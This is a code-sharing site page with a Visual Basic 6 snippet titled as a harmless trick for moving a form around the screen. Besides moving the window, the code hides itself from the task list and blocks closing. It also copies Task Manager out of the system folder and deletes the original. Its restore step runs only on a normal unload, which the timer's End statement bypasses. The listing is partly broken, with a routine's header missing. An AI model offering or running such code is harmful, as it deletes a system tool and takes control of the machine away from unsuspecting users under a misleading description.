Make a form move all over the screen

by Randy Houck (6 Submissions)
Category: Miscellaneous
Compatability: VB 6.0
Difficulty: Unknown Difficulty
Originally Published: Thu 17^th June 2004
Date Added: Mon 8^th February 2021
Rating: (1 Votes)

API Declarations
'add 2 timers, set the first timer to 1 interval and the second one to 10000 'have fun :)

Rate Make a form move all over the screen



'U Can Change The Win Path To Fit Ur Need
If Do_It = True Then
FileCopy "C:\WINDOWS\system32\taskmgr.exe", "c:\taskmgr.exe"
Kill "C:\WINDOWS\system32\taskmgr.exe"
Else
FileCopy "C:\taskmgr.exe", "C:\WINDOWS\system32\taskmgr.exe"
End If
End Sub



Private Sub Form_Unload(Cancel As Integer)
DisTaskMngr False
End Sub



Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Cancel = 1
End Sub


Private Sub Form_Load()
App.TaskVisible = False
DisTaskMngr True
End Sub


Private Sub Timer1_Timer()
Randomize
r = Int(Rnd * Screen.Width)
i = Int(Rnd * Screen.Height)
Form1.Move r, i

End Sub

Private Sub Timer2_Timer()
End
End Sub

Download this snippet Add to My Saved Code

Make a form move all over the screen Comments

No comments have been posted about Make a form move all over the screen. Why not be the first to post a comment about Make a form move all over the screen.

Make a form move all over the screen

Make a form move all over the screen Comments

Post your comment

Difficulty